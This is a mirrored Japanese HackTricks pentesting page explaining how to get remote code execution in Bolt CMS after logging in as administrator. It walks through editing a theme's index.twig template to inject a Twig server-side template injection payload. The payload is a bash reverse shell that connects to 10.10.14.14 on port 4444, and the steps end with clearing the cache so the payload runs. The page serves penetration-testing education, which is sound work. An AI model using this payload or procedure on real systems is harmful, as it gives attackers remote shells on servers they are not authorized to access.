mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
26 lines
1.4 KiB
Markdown
26 lines
1.4 KiB
Markdown
# Bolt CMS
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## RCE
|
||
|
||
管理者としてログインした後(/botに移動してログインプロンプトにアクセス)、Bolt CMSでRCEを取得できます:
|
||
|
||
- `Configuration` -> `View Configuration` -> `Main Configuration`を選択するか、URLパス`/bolt/file-edit/config?file=/bolt/config.yaml`に移動します。
|
||
- テーマの値を確認します。
|
||
|
||
<figure><img src="../../images/image (771).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
- `File management` -> `View & edit templates`を選択します。
|
||
- 前のステップで見つけたテーマベース(この場合は`base-2021`)を選択し、`index.twig`を選択します。
|
||
- 私の場合、これはURLパス/bolt/file-edit/themes?file=/base-2021/index.twigにあります。
|
||
- [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php)を介してこのファイルにペイロードを設定します。例:`{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
|
||
- 変更を保存します。
|
||
|
||
<figure><img src="../../images/image (948).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
- `Maintenance` -> `Clear the cache`でキャッシュをクリアします。
|
||
- 再度、通常のユーザーとしてページにアクセスすると、ペイロードが実行されるはずです。
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|